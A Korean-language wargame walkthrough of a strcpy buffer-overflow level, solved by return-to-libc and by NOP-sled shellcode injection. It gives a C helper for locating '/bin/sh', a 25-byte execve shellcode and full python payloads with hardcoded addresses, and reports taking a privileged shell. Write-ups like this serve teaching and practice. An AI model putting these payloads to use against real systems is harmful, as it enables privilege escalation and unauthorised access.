이번 문제는 bof문제다. 버퍼오버플로우가 일어나기 쉬운 strcpy함수를 사용했다.
버퍼에 쉘코드를 삽입하고 쉘코드의 주소로 eip 주소를 바꾸는 방법과 rtl로 푸는 방법이 있다. 먼저 rtl로 푸는 방법부터 설명한다.
RTL (Return to Library)
소스에는 버퍼에 256바이트가 할당되었다. 더미값이 있는지 확인하기 위해 문제에 있는 attackme파일을 tmp파일로 옮겨 gdb로 확인해봐야겠다.
소스는 256바이트를 할당했는데 gdb로 확인하니 264 바이트의 버퍼가 있다. 더미로 8바이트가 있다는 것이다.
RTL 기법을 이용하려면 일단 system 함수의 주소와 /bin/sh의 주소를 알아야 한다. gdb로 확인한다.
먼저 main함수에 BP를 건다.
p 명령을 이용해 system 함수의 주소를 찾았다. 주소는 0x4203f2c0이다.
#include <stdio.h>
int main(int argc, char **argv)
{
long shell;
shell = 0x4203f2c0; // <=== system()... ..
while(memcmp((void*)shell,"/bin/sh",8)) shell++;
printf("\"/bin/sh\" is at 0x%x\n",shell);
}
위 코드는 /bin/sh의 주소를 찾는 소스코드다.
컴파일 하고 실행하면 /bin/sh의 주소가 나온다.
이제 필요한 정보를 다 찾았으니 payload를 작성한다.
먼저 스택의 구조를 살펴보면 아래와 같다.
BUFFER[264] |
SFP[4] |
RET[4] |
dummy[~] |
|
그리고 이 스택에 payload를 아래와 같이 입력한다.
\x90\x90..................\x90\x90 |
\x90\x90\x90\x90[ |
system()주소 |
\x90\x90\x90\x90 |
/bin/sh의 주소 |
리틀엔디언 방식으로 입력하여 payload는 아래와 같다.
`python -c 'print "\x90"*268+"\xc0\xf2\x03\x42"+"\x90"*4+"\xa4\x7e\x12\x42"'`
EIP 주소를 변경해 쉘코드 실행하기
공격을 하기 전에 공격을 위한 쉘코드가 필요하다.
난 쉽게 구할 수 있는 25바이트 쉘코드를 사용할 것이다.
Sell Code : \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
버퍼는 264바이트의 크기를 가진다. 따라서 sfp까지를 임의의 값으로 바꾸고 eip주소로 넣을 주소를 마지막 4바이트에 추가하면 된다.
일단 페이로드를 작성하고 core dump로 확인하면서 페이로드를 만들어 가면 된다.
쉘코드가 25바이트 이므로 243바이트의 NOP sled를 주고 쉘코드로 25바이트를 주면 268바이트 즉 sfp까지 값을 줄 수 있다.
그리고 뒤 4바이트는 일단 임의의 AAAA라는 값을 주고 core dump로 확인해본다.
우선 core dump를 확인하려면 내 권한이 있어야 하므로 공격할 프로그램을 tmp 파일로 복사한 후 ulimit -c unlimited로 core dump를 생성하는 명령을 사용한다.
페이로드는 아래와 같다.
`python -c 'print "\x90"*243+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"AAAA"'`
코어 덤프가 생성되었다.
코어덤프를 gdb로 열어서 화인하면 0x41414141이란 주소에서 seg fault가 터졌다. eip 위치를 정확히 찾아서 AAAA라는 값을 집어넣은 것이다.
gdb) x/100x $esp 로 스택의 값을 확인하다보면 내가 입력한 버퍼의 위치를 찾을 수 있다.
NOP sled가 있는 주소 중 아무거나 선택해서 마지막 4바이트에 채워넣고 실행해본다.
난 0xbffffb50를 eip 주소로 할 것이다.
새로운 페이로드는 아래와 같다.
`python -c 'print "\x90"*243+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x50\xfb\xff\xbf"'`
새 페이로드로 공격을 하니 성공적으로 쉘을 획득했다. 하지만 setreuid가 level12로 설정된 파일이 아니여서 권한은 level11이다. 이제 공격할 프로그램을 대상으로 페이로드를 사용해보겠다.
성공적으로 쉘을 얻었으며 level12의 password도 찾았다.